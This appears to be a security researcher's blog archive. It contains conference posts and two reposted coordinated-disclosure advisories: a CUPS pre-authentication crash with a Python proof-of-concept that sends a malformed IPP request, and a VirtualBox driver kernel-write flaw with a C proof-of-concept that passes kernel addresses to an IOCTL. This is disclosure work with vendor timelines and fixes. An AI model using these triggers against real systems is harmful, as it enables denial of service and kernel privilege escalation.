Ekoparty Security Conference

Well… everybody knows Ekoparty. One of the most important Security Conferences at south america.  And a very important event in the local scene.

Of course, Alfred and I will be talking there. This’ll be a great opportunity for us to show all the PoC that we left out (coz of the Turbo Talk) in the past Black Hat – Las Vegas.

So, i hope you be there.

If you wanna share a beer (or two) and chat a bit.  Please drop me a msg.

BlackHat 2009 - Vegas

Has been a long time since my last post here… Alfred and I were working very hard for our last research/talk (the continuation of ‘Persistant BIOS Infection’) “Deactivate the rootkit” where we found that Computrace  (an Anti-Theft Technology system) comes by default on most of the laptops BIOSes and it can be controlled by an attacker compromising the whole system’s security mechanisms.

Im not going to explain all the research here… a lot has been said about this. We just did a turbo-talk at black hat ( a very long one, im really happy about that) and we didnt have the time to show all the proofs we gathered but we did it through Core. Here is all the stuff. Draw Your Own Conclusions

Slides: Black Hat – Las Vegas 2009

White Paper : Black Hat – Las Vegas 2009

Then, after some words of the computrace guys denying almost all our findings (here), we made public this page with all the proof, meaning: a tool to detect if your laptop has computrace in it, a network dump showing the first stage of the communication in plain text :S, several videos demonstrating what we said, and a tool to controlate and redirect computrace.

You can find the Core Security response here:

and the Core’s project page here.

A few pages who covered the talk:

Slashdot

ZDNet

SecurityFocus

Reddit

SyScan

Alfred and I we’ll be giving our talk “Persistent BIOS Infection” at SyScan ‘09, Singapore.  This time with some added content and of course, with our multiple cOOl demos, including the one with the dismembered real box (i hope  not to have problems when traveling with the hardware).

If someone wants to meet and go out for a beer or something i’ll be glad. Just drop me some line here or at als.alsx@gmail.com

c ya there!

We finally did it.  Our paper is out, and the phrack #66 is the best place i can imagine to release it.  We had to run a lot this last days for getting the paper ready on time. I would like to thank  the whole Phrack team for putting together the outstanding issue that you can read right here.

I grew up reading this ezine and it has been kindof inspiration for me all this years so… its really exciting to be there.

Hope you like the paper, we’ve put in it almost all the notes we taked in those two weeks, together with the PoC shellcodes and the tools we used. You can see it here.

Poor little CUPS… I feel bad for him.
I swear, i wasn’t looking for bugs in it (not for *new* bugs at least ). It just crashed in my face…

At the beginning i didn’t give so much importance to it but CUPS is shipped as the default printing service for OS X and almost all Linux distributions. Besides, it’s a pre-auth vulnerability so… i think it was worth to release an advisory for it  – with the appropiated PoC and technical info, as usual -

So, here you have it.  have phun. :p

Apple CUPS IPP_TAG_UNSUPPORTED Handling null pointer Vulnerability

1. *Advisory Information*

Title: Apple CUPS IPP_TAG_UNSUPPORTED Handling null pointer Vulnerability

Advisory ID: CORE-2009-0420
Advisory URL:
http://www.coresecurity.com/content/AppleCUPS-null-pointer-vulnerability
Date published: 2009-06-02
Date of last update: 2009-06-01
Vendors contacted: Apple Computer Inc.
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Denial of service (DoS)
Remotely Exploitable: Yes
Locally Exploitable: Yes
Bugtraq ID: 35169
CVE Name: CVE-2009-0949

3. *Vulnerability Description*

CUPS [1] provides a portable printing layer for UNIX based operating
systems. It was developed by Easy Software Products and it is now owned
and maintained by Apple Computer Inc. to promote a standard printing
solution. It is the standard open source printing system for Mac OS X
and other UNIX-like operating systems.

A flaw has been identified in CUPS, when handling the
'IPP_TAG_UNSUPPORTED' tag, which could be exploited by attackers to
cause a remote pre-authentication denial of service.

4. *Vulnerable packages*

   . CUPS 1.1.17
   . CUPS 1.1.23
   . CUPS 1.3.6
   . CUPS 1.3.7
   . CUPS 1.3.8
   . CUPS 1.3.9
   . Earlier versions may also be affected, but were not checked.

5. *Non-vulnerable packages*

   . CUPS 1.3.10

6. *Vendor Information, Solutions and Workarounds*

This flaw was fixed in Mac OS X 10.5.7 by updating CUPS to 1.3.10. Apple
team intends to fix it on Mac OS X 10.4 in a future update. All CUPS
users should upgrade the software to 1.3.10.

7. *Credits*

This vulnerability was discovered and researched by Anibal Sacco from
the CORE IMPACT Exploit Writing Team (EWT) at Core Security Technologies.

8. *Technical Description / Proof of Concept Code*

This vulnerability identified in CUPS is caused by a bad 'ip' structure
initialization in the function 'ippReadIO()', located in 'cups/ipp.c',
when processing a specially crafted IPP (Internet Printing Protocol)
with two consecutives 'IPP_TAG_UNSUPPORTED' tags. This flaw could be
exploited by attackers to crash the affected application.

At 'ipp.c' the function 'ippReadIO()' is in charge of the initialization
of the 'ipp' structure, that represent the different tags of the current
IPP request packet.

/-----------

1016 ipp_state_t                     /* O - Current state */
1017 ippReadIO(void        *src,     /* I - Data source */
1018           ipp_iocb_t  cb,       /* I - Read callback function */
1019           int         blocking, /* I - Use blocking IO? */
1020           ipp_t       *parent,  /* I - Parent request, if any */
1021           ipp_t       *ipp)     /* I - IPP data */
1022 {
1023   int       n;                  /* Length of data */
1024   unsigned  char buffer[IPP_MAX_LENGTH + 1],
1025                                 /* Data buffer */
1026   string[IPP_MAX_NAME],
1027                                 /* Small string buffer */
1028  *bufptr;                       /* Pointer into buffer */
1029  ipp_attribute_t	*attr;         /* Current attribute */
1030  ipp_tag_t       tag;           /* Current tag */
1031  ipp_tag_t       value_tag;     /* Current value tag */
1032  ipp_value_t     *value;        /* Current value */

1035  DEBUG_printf(("ippReadIO(%p, %p, %d, %p, %p)\n", src, cb, blocking,
1036                parent, ipp));
1037  DEBUG_printf(("ippReadIO: ipp->state=%d\n", ipp->state));

1039  if (src == NULL || ipp == NULL)
1040    return (IPP_ERROR);
1041
1042  switch (ipp->state)
1043  {
1044    case IPP_IDLE :
1045        ipp->state ++; /* Avoid common problem... */
1046
1047    case IPP_HEADER :
1048        if (parent == NULL)

- -----------/

 As we can see in the code above, the packets can count with a few
different tag attributes.

When an 'IPP' packet is sent with a tag attribute lower than 0x10, it is
considered by CUPS as an 'IPP_TAG_UNSUPPORTED' tag:

/-----------

else if (tag < IPP_TAG_UNSUPPORTED_VALUE)
{
    /*
    * Group tag...  Set the current group and continue...
    */
    if (ipp->curtag == tag)
        ipp->prev = ippAddSeparator(ipp);
    else if (ipp->current)
        ipp->prev = ipp->current;

    ipp->curtag  = tag;
    ipp->current = NULL;
    DEBUG_printf(("ippReadIO: group tag = %x, ipp->prev=%p\n", tag,
ipp->prev));
    continue;
}

- -----------/

 Because of the way that CUPS handles this kind of tags, if a packet
contains two consecutives 'IPP_TAG_UNSUPPORTED', the last node of the
IPP structure will be initialized as 'NULL'.

This will lead to a crash when the 'cupsdProcessIPPRequest' function
tries to read the 'name' field of the 'attr' structure.

/-----------

/*
 * 'cupsdProcessIPPRequest()' - Process an incoming IPP request.
 */
int                                           /* O - 1 on success, 0 on
failure */
cupsdProcessIPPRequest( cupsd_client_t *con)  /* I - Client connection */

...
    if (!attr)
    {
        /*
        * Then make sure that the first three attributes are:
        *
        *     attributes-charset
        *     attributes-natural-language
        *     printer-uri/job-uri
        */

        attr = con->request->attrs;
        if (attr && !strcmp(attr->name, "attributes-charset") &&
(attr->value_tag & IPP_TAG_MASK) == IPP_TAG_CHARSET)
	         charset = attr;
        else
	         charset = NULL;
...

- -----------/

8.1. *Proof of Concept*

The following Python script is the proof of concept written by Anibal
Sacco to trigger the vulnerability.

/-----------

from struct import pack
import sys
import socket

class IppRequest:
    """
    Little class to implement a basic Internet Printing Protocol
    """
    def __init__(self, host, port, printers, hpgl_data="a"):
        self.printers = printers
        self.host = host
        self.port = port
        self.hpgl_data = hpgl_data
        self.get_ipp_request()

    def attribute(self, tag, name, value):
        data =  pack('>B',tag)
        data += pack('>H',len(name))
        data += name
        data += pack('>H',len(value))
        data += value
        return data

    def get_http_request(self):
        http_request = "POST /printers/%s HTTP/1.1\r\n" % self.printers
        http_request += "Content-Type: application/ipp\r\n"
        http_request += "User-Agent: Internet Print Provider\r\n"
        http_request += "Host: %s\r\n" % self.host
        http_request += "Content-Length: %d\r\n" % len(self.ipp_data)
        http_request += "Connection: Keep-Alive\r\n"
        http_request += "Cache-Control: no-cache\r\n"
        return http_request

    def get_ipp_request(self):
        operation_attr =  self.attribute(0x47, 'attributes-charset',
'utf-8')
        operation_attr += self.attribute(0x48,
'attributes-natural-language', 'en-us')
        operation_attr += self.attribute(0x45, 'printer-uri',
"http://%s:%s/printers/%s" % (self.host, self.port, self.printers))
        operation_attr += self.attribute(0x42, 'job-name', 'foo barrrrrrrr')
        operation_attr += self.attribute(0x42, 'document-format',
'application/vnd.hp-HPGL')

        self.ipp_data =  "\x01\x00"           # version-number: 1.0
        self.ipp_data += "\x00\x02"           # operation-id: Print-job
        self.ipp_data += "\x00\x00\x00\x01"   # request-id: 1
        self.ipp_data += "\x01"               # operation-attributes-tag
        self.ipp_data += "\x0f\x0f"
        # self.ipp_data += operation_attr
        self.ipp_data += "\x02"               # job-attributes-tag
        self.ipp_data += "\x03"               # end-of-attributes-tag
        self.ipp_data += self.hpgl_data;
        return self.ipp_data

def main():

    try:
        printer = sys.argv[1]
        host = sys.argv[2]
    except:
        print "[+] Usage: exploit printer_name host"
        return 0

    data = "A"*100

    ipp = IppRequest(host,"80", printer, data)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    print "[+] Connecting to the host"
    s.connect((host, 631))

    #requests = ipp.get_http_request()
    #for each in requests:
    #    s.send(each)

    print "[+] Sending request"
    s.send(ipp.get_http_request())
    s.send("\r\n")

    print "[+] Sending ipp data"
    s.send(ipp.get_ipp_request())

    print "Response:%s" % s.recv(1024)
    print "done!"

if __name__ == "__main__":
    sys.exit(main())

- -----------/

9. *Report Timeline*

. 2009-04-28:
Core Security Technologies notifies the Apple Product Security Team of
the vulnerability and announces its initial plan to publish the advisory
on May 20th, 2009. Technical details and Proof of Concept (PoC) are sent
to Apple Security Team.

. 2009-04-28:
The vendor acknowledges reception of the technical report and PoC.

. 2009-05-11:
Core reminds Apple Security Team its initial plan to publish the
advisory on May 20th, and asks the confirmation that patches will be
released by then.

. 2009-05-12:
Core notifies Apple Security Team that this is a multi-vendor issue
(affecting, for example, multiple Linux distributions), and asks if the
patch process of the CUPS vulnerability will be coordinated using the
vendor-sec mailing list [2].

. 2009-05-12:
Apple Product Security Team notifies Core they will contact vendor-sec
about this issue very soon and proposes to reschedule the advisory
publication date to June 2nd. The vendor also notifies the issue was
addressed in Mac OS X 10.5.7 by updating CUPS to version 1.3.10.

. 2009-05-13:
Apple Product Security Team notifies the suggested fix would be to
update to CUPS 1.3.10.

. 2009-05-15:
The Red Hat Security Response Team informs (via vendor-sec) CUPS 1.1.17
is the oldest version they still ship and it is affected too. This issue
will probably affect even earlier CUPS versions too.

. 2009-05-25:
The Debian Team informs (via vendor-sec) there is a bug in the PoC
provided by Core. The advisory PoC is changed according to the comments
made by Debian Team.

. 2009-05-28:
Core notifies that the advisory is going to be released on June 2nd, and
requests a confirmation from Apple Security Team and vendor-sec
subscribers.

. 2009-05-29:
Apple Security Team, Red Hat Security Response Team and Debian Team
confirm the proposed release date. There was no request for embargo date
shift posted to vendor-sec.

. 2009-06-02:
The advisory CORE-2009-0420 is published.

10. *References*

[1] http://www.cups.org.
[2] Vendor-sec, a mailing list dedicated to distributors of operating
systems using (but not necessarily solely comprised of) free and
open-source software.
http://oss-security.openwall.org/wiki/mailing-lists/vendor-sec.

11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs.

12. *About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.

13. *Disclaimer*

The contents of this advisory are copyright (c) 2009 Core Security
Technologies and (c) 2009 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.

14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFKJY7HyNibggitWa0RAtcuAJ9vxQ4OjXhyOepyzgUg8WvG8rCMlACgsUTK
A3cfFRppX8VCa6hzPcVEOiw=
=G46K
-----END PGP SIGNATURE-----

HotFuzz

Mario Vilas, a very good friend of mine (and coworker) has released a very cool python module that allows developers to quickly code instrumentation scripts in Python under a Windows environment.

I’ve been folowing this project very close, testing some pre-releases,  and i must say that i cant wait to fuzz some stuff with this final version.

Mario says about it:

“The intended audience are QA engineers and software security auditors wishing to test / fuzz Windows applications with quickly coded Python scripts. Several ready to use utilities are shipped and can be used for this purposes.

Current features also include disassembling x86 native code (using the open source diStorm project), debugging multiple processes simultaneously and produce a detailed log of application crashes, useful for fuzzing and automated testing.”

You can see the mario’s original post here.

Ok, so, CanSecWest has finished. And i must say, It was an excellent conference.

We ‘ve talked on the second day and, although it was very early, there was a lot of -amazingly not drunk- people there.

I’ve met *a lot* of interesting people there and we had so much fun at the Vancouver’s nights.
After the second day, Dragos has given an awesome party on the top of Grouse Mountain, that is a very cool place.

BTW, this place is excelent. The ppl at vancouver is very kind and open minded. I really hope to come back here the next year.

The slides are available here

A few reporters covered the talk, here are the links:

SecurityFocus
ZDNet
Threat Post
CORE’s Press Release
Informationweek

And also on Slashdot

After some time without news -as is usual around here- im back again, ready to say that i was confirmed as speaker at the CanSecWest conference that will be held March 16-20, at Vancouver, BC.

We will give a talk about a project what we’ve been working on with Alfredo Ortega (you know, the OpenBSD guy ) about a new generic binary method to get malicious code injected and executed into the computer BIOS. Yeah, that cute little chip…

I will post more details about the conference in some time. In the meanwhile, you can get more info at the CanSecWest website.

For those who are planning to attend the conference, we (Alfred & I) will be arriving 16/3, and of course, we are up for some beers.

Hey all. I’ve written an article called “The METHOD_NEITHER Odyssey” for the latest issue of the (IN)SECURE Magazine and you can download it here.

(IN)SECURE Magazine Nr. 18

In the article, i tried to introduce the readers to the windows kernel vulnerabilities world showing them a very common kind of driver vulnerabilities -of which i’ve talked here a few posts ago, and developed an IDA plugin to find them- using a real-case as example, the Winpcap 4.x driver vulnerability, and showing how this could be exploited.

Also, i recommend you to take a look to the other articles, my favorites were:

- Removing software armoring from executables
- Insecurities in privacy protection software

You can see an online version of the issue here.

I’ve released a new advisory this past days addressing a new vulnerability i’ve found in the Windows Driver of VSun xVM VirtualBox. This is another example of the problems that must be faced when the METHOD_NEITHER method is used.

The vulnerability is deeply explained in the advisory. So, lets see it:

http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability

Sun xVM VirtualBox Privilege Escalation Vulnerability

*Advisory Information*

Title: Sun xVM VirtualBox Privilege Escalation Vulnerability
Advisory ID: CORE-2008-0716
Advisory URL:
http://www.coresecurity.com/content/virtualbox-privilege-escalation-vuln
erability
Date published: 2008-08-04
Date of last update: 2008-08-04
Vendors contacted: Sun Microsystems
Release mode: Coordinated release

*Vulnerability Information*

Class: Insufficient input validation
Remotely Exploitable: No
Locally Exploitable: Yes
Bugtraq ID: 30481
CVE Name: CVE-2008-3431

*Vulnerability Description*

Virtualization technologies allow users to run different operating
systems simultaneously on top of the same set of underlying physical
hardware. This provides several benefits to end users and organizations,
including efficiency gains in the use of hardware resources, reduction
of operational costs, dynamic re-allocation of computing resources and
rapid deployment and configuration of software development and testing
environments.

VirtualBox is an open source virtualization technology project
originally developed by Innotek, a software company based in Germany.

In February 2008 Sun Microsystems announced the acquisition of Innotek
[1] and VirtualBox was integrated into Sun’s xVM family of
virtualization technologies. In May 2008, Sun Microsystems announced
that the number of downloads of the open source VirtualBox software
package passed the five million mark [2].

When used on a Windows Host Operating System VirtualBox installs a
kernel driver (‘VBoxDrv.sys’) to control virtualization of guest
Operating Systems.

An input validation vulnerability was discovered within VirtualBox’s
‘VBoxDrv.sys’ driver that could allow an attacker, with local but
un-privileged access to a host where VirtualBox is installed, to execute
arbitrary code within the kernel of the Windows host operating system
and to gain complete control of a vulnerable computer system.

*Vulnerable Packages*

. Sun xVM VirtualBox 1.6.2.
. Sun xVM VirtualBox 1.6.0.
. This issue only occurs in the Microsoft Windows versions of xVM
VirtualBox.

*Non-vulnerable Packages*

. Sun xVM VirtualBox 1.6.4 (for Microsoft Windows)

*Vendor Information, Solutions and Workarounds*

No workarounds exist for this issue. A security bulletin from the vendor
that describes this issue is available here:
http://sunsolve.sun.com/search/document.do?assetkey=1-66-240095-1.

*Credits*

This vulnerability was discovered and researched by Anibal Sacco from
the CORE IMPACT Exploit Writing Team (EWT) at Core Security Technologies.

*Technical Description / Proof of Concept Code*

When the VirtualBox package is installed on a host the ‘VBoxDrv.sys’
driver is loaded on the machine. This driver allows any unprivileged
user to open the device ‘\\.\VBoxDrv’ and issue IOCTLs with a buffering
mode of METHOD_NEITHER without any kind of validation. This allows
untrusted user mode code to pass arbitrary kernel addresses as arguments
to the driver.

With specially constructed input, a malicious user can use functionality
within the driver to patch kernel addresses and execute arbitrary code
in kernel mode. When handling IOCTLs a communication method must be
pre-defined between the user-mode application and the driver module. The
selected method will determine how the I/O Manager manipulates memory
buffers used in the communication.

The ‘METHOD_NEITHER’ is a very dangerous method because the pointer
passed to ‘DeviceIoControl’ as input or output buffer will be sent
directly to the driver, thus transferring it the responsibility of doing
the proper checks to validate the addresses sent from user mode.

The ‘VBoxDrv.sys’ driver uses the ‘METHOD_NEITHER’ communication method
when handling IOCTLs request and does not validate properly the buffer
sent in the Irp object allowing an attacker to write to any memory
address in the kernel-mode.

Let’s see the bug on the source. This is the function used to handle the
IOCTL requests at ‘SUPDrv-win.cpp’.

NTSTATUS _stdcall VBoxDrvNtDeviceControl(PDEVICE_OBJECT pDevObj, PIRP
pIrp)
{
PSUPDRVDEVEXT pDevExt = (PSUPDRVDEVEXT)pDevObj->DeviceExtension;
PIO_STACK_LOCATION pStack = IoGetCurrentIrpStackLocation(pIrp);
PSUPDRVSESSION pSession =
(PSUPDRVSESSION)pStack->FileObject->FsContext;

/*
* Deal with the two high-speed IOCtl that takes it's arguments from
* the session and iCmd, and only returns a VBox status code.
*/
ULONG ulCmd = pStack->Parameters.DeviceIoControl.IoControlCode;
if ( ulCmd == SUP_IOCTL_FAST_DO_RAW_RUN
(1) || ulCmd == SUP_IOCTL_FAST_DO_HWACC_RUN
|| ulCmd == SUP_IOCTL_FAST_DO_NOP)
{
KIRQL oldIrql;
int rc;

/* Raise the IRQL to DISPATCH_LEVEl to prevent Windows from
rescheduling us to another CPU/core. */
Assert(KeGetCurrentIrql() IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = sizeof(rc);
__try
{
(3) *(int *)pIrp->UserBuffer = rc;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
rcNt = pIrp->IoStatus.Status = GetExceptionCode();
dprintf(("VBoxSupDrvDeviceContorl: Exception Code %#x\n", rcNt));
}
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return rcNt;
}

return VBoxDrvNtDeviceControlSlow(pDevExt, pSession, pIrp, pStack);
}

At (1), we can see the sentence checking the IOCTL code. The constants
used are defined at ‘SUPDrvIOC.h’ in this way:

#define SUP_IOCTL_FAST_DO_RAW_RUN SUP_CTL_CODE_FAST(64)
/** Fast path IOCtl: VMMR0_DO_HWACC_RUN */
#define SUP_IOCTL_FAST_DO_HWACC_RUN SUP_CTL_CODE_FAST(65)
/** Just a NOP call for profiling the latency of a fast ioctl call to
VMMR0. */
#define SUP_IOCTL_FAST_DO_NOP SUP_CTL_CODE_FAST(66)

With the macro ‘SUP_CTL_CODE_FAST()’ defined in the same file:

#define SUP_CTL_CODE_FAST(Function) CTL_CODE(FILE_DEVICE_UNKNOWN,
(Function)
| SUP_IOCTL_FLAG, METHOD_NEITHER,
FILE_WRITE_ACCESS)

Now we know that the communication method used will be ‘METHOD_NEITHER ‘
(this could also be easily seen by looking at the resulting IOCTL code
in the disassembled binary).

Then at (2) the value returned by ’supdrvIOCtlFast()’ is saved in ‘rc’
and this is where the problem starts because at (3), the value in ‘rc’
is written directly to the buffer pointer sent from usermode without any
check to validate that it is really pointing to an usermode address or
even a valid one.

In this scenario, it is possible to feed the IOCTL with kernel addresses
to write the value returned by ’supdrvIOCtlFast()’ ANY address in kernel
space memory as many times as necessary to modify kernel code or kernel
pointers to subsequently get code execution in ring 0 context (that
means, with system privileges).

This is the Proof of Concept I have made to trigger and show the
vulnerability. This will generate a Blue Screen of Death (BSOD) trying
to write to an unpaged kernel mode address (0×80808080) but any other
arbitrary address could be used.

// Author: Anibal Sacco (aLS)
// Contact: anibal.sacco (at) coresecurity (dot) com [email concealed]
// anibal.sacco (at) gmail (dot) com [email concealed]
// Organization: Core Security Technologies</code>

#include
#include

int main(int argc, char **argv)
{
HANDLE hDevice;
DWORD cb;
char szDevice[] = "\\\\.\\VBoxDrv";

if ( (hDevice = CreateFileA(szDevice,
GENERIC_READ|GENERIC_WRITE,
0,
0,
OPEN_EXISTING,
0,
NULL) ) != INVALID_HANDLE_VALUE )
{
printf("Device %s succesfully opened!\n", szDevice);
}
else
{
printf("Error: Error opening device %s\n",szDevice);
}

cb = 0;
if (!DeviceIoControl(hDevice,
0x228103,
(LPVOID)0x80808080,0,
(LPVOID)0x80808080,0x0,
&amp;cb,
NULL))
{
printf("Error in DeviceIo ... bytes returned %#x\n",cb);
}
}

*Report Timeline*

. 2008-07-16: Core Security Technologies notifies the VirtualBox team of
the vulnerability.
. 2008-07-17: Vendor acknowledges notification.
. 2008-07-29: Core asks the vendor for a status update in the fixing
process.
. 2008-07-30: Vendor notifies a patched version will be publicly
available on Monday 4th, August.
. 2008-07-31: Core asks the vendor to provide URL to their alert and to
confirm which versions are vulnerable and which version will include the
fix.
. 2008-07-31: CVE ID request sent to Mitre.
. 2008-07-31: Bugtraq ID request sent to SecurityFocus.com.
. 2008-07-31: CVE ID received from Mitre.
. 2008-07-31: Bugtraq ID received SecurityFocus.com.
. 2008-08-01: Vendor provides draft version of Sun Alert and URL to
reference it.
. 2008-08-01: Core updates its security advisory with information about
vulnerable and non-vulnerable packages. Core provides its URL to the
vendor and indicates that the vendor cataloged the issue as a Denial of
Service bug but it should be considered a privilege escalation problem
since it allows unprivileged users to execute code in the kernel context.
. 2008-08-04: Vendor confirms that this issue can lead to arbitrary code
execution by an unprivileged user.
. 2008-08-04: CORE-2008-0716 advisory is published.

*References*

[1] Sun Welcomes Innotek – http://www.sun.com/software/innotek/.
[2] http://www.sun.com/aboutsun/pr/2008-05/sunflash.20080529.1.xml.

*About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs/.

*About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company’s flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.

*Disclaimer*

The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.

*GPG/PGP Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.a
sc.

—–BEGIN PGP SIGNATURE—–
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla – http://enigmail.mozdev.org

iD8DBQFIl2jIyNibggitWa0RAtj0AJ9HSRe3Hq+SCqU0RfU2LwaxINL1NwCdH5p+
md6p6ZKbhrc7SfaD6EsxjoA=
=kQyV
—–END PGP SIGNATURE—–